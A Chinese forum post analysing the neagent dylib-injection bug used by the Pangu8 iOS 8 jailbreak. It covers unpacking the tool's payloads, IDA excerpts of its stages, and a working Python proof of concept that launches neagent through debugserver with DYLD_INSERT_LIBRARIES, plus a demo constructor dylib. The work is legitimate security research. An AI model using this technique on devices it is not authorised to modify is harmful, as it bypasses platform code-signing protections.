这段时间对Pangu8越狱时所用的漏洞比较感兴趣,不过搜到的基本只有
所使用漏洞的列表 :
8.0/8.0.1/8.0.2/8.1 Pangu8 - an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w) - enterprise certificate (inside the IPA) - a kind of dylib injection into a system process (see IPA) - a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking) - a sandboxing problem in debugserver (CVE-2014-4457) - the same/a similar kernel exploit as used in Pangu (CVE-2014-4461) (source @iH8sn0w) - enable-dylibs-to-override-cache - CVE-2014-4455
经过几天的折腾,算是弄明白其中neagent漏洞的利用方法,并用Python验证了注入过程。
不过个人水平有限,越看Pangu8的细节疑问越多,希望能够借此抛砖引玉讨论下其他漏洞细节。如果其中有什么疏漏之处,希望各位大侠轻拍板砖
另外感谢
jerryxjtu兄的指点 ,研究了几天libimobiledevice确实大有收获。为了方便调试com.apple.debugserver服务,也试着写了下Python版的
debugserver.pxi 并merge到了libimobiledevice:master。有兴趣使用Python版DebugServerClient的同学,可以参考
这个例子 :从远程启动目标App。
------------------------------------------------------------------------------------
能查到的关于neagent这个漏洞,最早是@iH8sn0w在Twitter上提到的:
https://twitter.com/ih8sn0w/status/524968711636418560
不过搜不到其他有用的信息。本着自己动手丰衣足食的想法,打算跟踪下Pangu8来看看neagent到底是怎么回事。不过看到Pangu8_v1.2.1.exe是VMP壳瞬间一头包,还好后面发现有个MacOS版的没有加壳,方便提取Payload
参考
分析Evasi0n7 的方法用jtool对Pangu8主程序进行解包,原始Payload在
__TEXT.__objc_cons1 ~ __TEXT.__objc_cons7 中;
用md5和机器中文件对比了下,定位了大致每个Payload的内容。详细jtool用法可以看附件里的解包脚本
Pangu8_extract_payload.sh 。
(ps:有人知道__TEXT.__objc_cons1里是什么内容吗?用binwalk只知道里面有三个bzip的头部) 接着就是拿出IDA看Pangu8的主程序了,按照里面的字符串可以将越狱分为开始,6个准备阶段,2个注入阶段以及清理阶段:
__cstring:0000000100046A21 aStartJailbreak db 'Start jailbreak ..',0
__cstring:0000000100046AF3 aPreparingTheEn db 'Preparing the environment (1/6)',0
__cstring:000000010004708C aPreparingThe_2 db 'Preparing the environment (2/6)',0
__cstring:00000001000470AC aPreparingThe_3 db 'Preparing the environment (3/6)',0
__cstring:000000010004724D aPreparingThe_4 db 'Preparing the environment (4/6)',0
__cstring:0000000100046B68 aPreparingThe_0 db 'Preparing the environment (5/6)',0
__cstring:0000000100046B88 aPreparingThe_1 db 'Preparing the environment (6/6)',0
__cstring:0000000100046BA8 aInjecting12 db 'Injecting (1/2)',0
__cstring:0000000100046BEA aInjecting22 db 'Injecting (2/2)',0
__cstring:0000000100046BFA aFinalCleaning_ db 'Final cleaning...',0 # 'Start jailbreak ..'
开始越狱阶段,先通过afc服务在建立 /Pangu-Install/ 目录:
# afc_make_directory(client, “/Pangu-Install/”)
__text:000000010002C5AC mov rsi, cs:off_102502328 ; "/Pangu-Install/"
__text:000000010002C5B3 call _afc_make_directory
接着写入Payload里4个tar文件:(不勾选pphelper.tar的话)
$ ls /private/var/mobile/Media/Pangu-Install/
Cydia.tar packagelist.tar pangu.tar pangu_ex.tar # 'Preparing the environment (1/6)'
准备阶段1,通过afc服务上传IPA,并通过installation_proxy的标准方式安装目标APP。这里IPA的企业版证书就不多说了,
(As of now incomplete) Writeup of Pangu 里面详细介绍过为什么要调时间。
# 如果不存在,则创建PublicStaging/目录
__text:000000010002A982 lea rsi, aPublicstaging ; "PublicStaging"
__text:000000010002A989 call _afc_make_directory
# 写入PublicStaging/<timestamp>.ipa
__text:000000010002A9D6 mov rdi, [rbp+var_40]
__text:000000010002A9DA mov rsi, [rbp+var_30] ; "PublicStaging/<timestamp>.ipa"
__text:000000010002A9DE lea rcx, [rbp+var_38]
__text:000000010002A9E2 mov edx, 3
__text:000000010002A9E7 call _afc_file_open
# 调用com.apple.mobile.installation_proxy服务进行安装
__text:000000010002AA7B lea rsi, aCom_apple_mo_3 ; "com.apple.mobile.installation_proxy"
__text:000000010002AA82 lea rdx, _instproxy_client_new
用Python重现该安装过程可以看这个脚本:
afc_and_instproxy_upgrade_ipa.py
这里安装的
pangunew.ipa 里带有关键的
xuanyuansword.dylib ,将在准备阶段2里用到。
# ’Preparing the environment (2/6)'
准备阶段2,通过debugserver注入刚才IPA里带的xuanyuansword.dylib到/usr/libexec/neagent。当然之前还有mount开发者镜像的工作,常规的`mobile_image_mounter_upload_image/mobile_image_mounter_mount_image`不是此次越狱的重点,就pass了。
其中的关键步骤如下:
[*]使用 instproxy_client_get_path_for_bundle_identifier 获取app的路径(之前安装的IPA);
[*]找到其中的 xuanyuansword.dylib 并拼接成参数字符串:`DYLD_INSERT_LIBRARIES=%s/xuanyuansword.dylib`
[*]使用 debugserver_client_set_argv 启动 /usr/libexec/neagent,当然环境变量加上上面的DYLD_INSERT_LIBRARIES;
这里就有个疑问了,为什么是用debugserver启动/usr/libexec/neagent注入dylib,它有什么特殊吗?
ldid -e查看entitlements.xml:
# ldid -e /usr/libexec/neagent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key> <array> <string>UniqueDeviceID</string> </array> <key>com.apple.private.neagent</key> <true/> <key>com.apple.private.necp.match</key> <true/> <key>com.apple.private.skip-library-validation</key> <true/> <key>keychain-access-groups</key> <array> <string>com.apple.identities</string> <string>apple</string> <string>com.apple.certificates</string> </array> </dict> </plist>
com.apple.private.skip-library-validation 估计这是加载dylib的关键了。不过这个skip-library-validation资料不多,只能从名字上推测是不检查`DYLD_INSERT_LIBRARIES`注入的dylib,难道是apple的开发为了方便调试加的?
------------------------------------------------------------------------------------
漏洞重现
看完反汇编的代码后还是对neagent加载dylib原理不明所以,于是自己用Python写了一遍用来验证漏洞的利用过程:
#!/usr/bin/env python
import os
import sys
import time
import plist
from imobiledevice import *
# mount /Developer image before test
# ideviceimagemounter /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/8.0/DeveloperDiskImage.dmg{,.signature}
def lockdown_get_service_client(service_class):
ld = LockdownClient(iDevice())
return ld.get_service_client(service_class)
def get_pangunew_Container(bundle_id="com.pangu.ipa1"):
instproxy = lockdown_get_service_client(InstallationProxyClient)
client_options = plist.Dict({
"ApplicationType": "User",
"ReturnAttributes": plist.Array([
"CFBundleIdentifier",
"CFBundleExecutable",
"Container",
]),
})
result_list = instproxy.browse(client_options)
for app in result_list:
if app["CFBundleIdentifier"] == bundle_id:
return "%s" % app["Container"]
return ""
def get_pangunew_Path(bundle_id="com.pangu.ipa1"):
instproxy = lockdown_get_service_client(InstallationProxyClient)
return instproxy.get_path_for_bundle_identifier(bundle_id)
def debugserver_inject_neagent(app_container, app_path, dylib):
debugserver = lockdown_get_service_client(DebugServerClient)
with DebugServerCommand("QSetWorkingDir:", 1, [app_container]) as cmd:
print debugserver.send_command(cmd)
print debugserver.set_environment_hex_encoded("DYLD_INSERT_LIBRARIES=%s/%s" % (app_path, dylib))
print debugserver.set_argv(1, ["/usr/libexec/neagent"])
def main():
bundle_id = "com.pangu.ipa1"
#dylib = "xuanyuansword.dylib"
dylib = "demo_dylib.dylib"
app_container = get_pangunew_Container(bundle_id)
print "Container: %s" % app_container
app_path = get_pangunew_Path(bundle_id)
app_path = os.path.dirname(app_path)
print "Path: %s" % app_path
debugserver_inject_neagent(app_container, app_path, dylib)
if __name__ == '__main__':
main()
[*]首先在 get_pangunew_Container() 里,通过 InstallationProxyClient 获取com.pangu.ipa1的Container目录,作为neagent的WorkingDir。这里参考Pangu8里筛选ReturnAttributes,不过因为pangunew.app是用户程序,所以只用browse(ApplicationType=User)的应用就可以了。
[*]通过 get_pangunew_Path() 获取com.pangu.ipa1的Path,用来拼接dylib的绝对路径。其实这里在之前取Container时就可以直接获取到Path,不过还是按照Pangu8的换用InstallationProxyClient实现了下。
[*]最后用 DebugServerClient 设置环境变量并启动neagent。
不过调试时发现neagent是没有
get-task-allow=true 的,不过既然dylib被加载,那么应该是从
__DATA,__mod_init_func 开始执行的,看了下xuanyuansword.dylib也确实如此。
写了个验证用的demo_dylib.dylib,代码如下:
// __DATA,__mod_init_func
__attribute__((constructor))
void demo_main()
{
NSLog(@"demo dylib loaded");
}
编译后查看
__DATA,__mod_init_func 指向demo_main。复制到com.pangu.ipa1的Path路径下,运行后用
idevicesyslog 就可以看到输出了:
注:正常情况下neagent注入执行完__mod_init_func后会被debugserver给kill掉。如果启动后neagent crash了,请检查dylib的路径是否有效,以及是否有chmod +x
[课程]Android-CTF解题方法汇总!
上传的附件: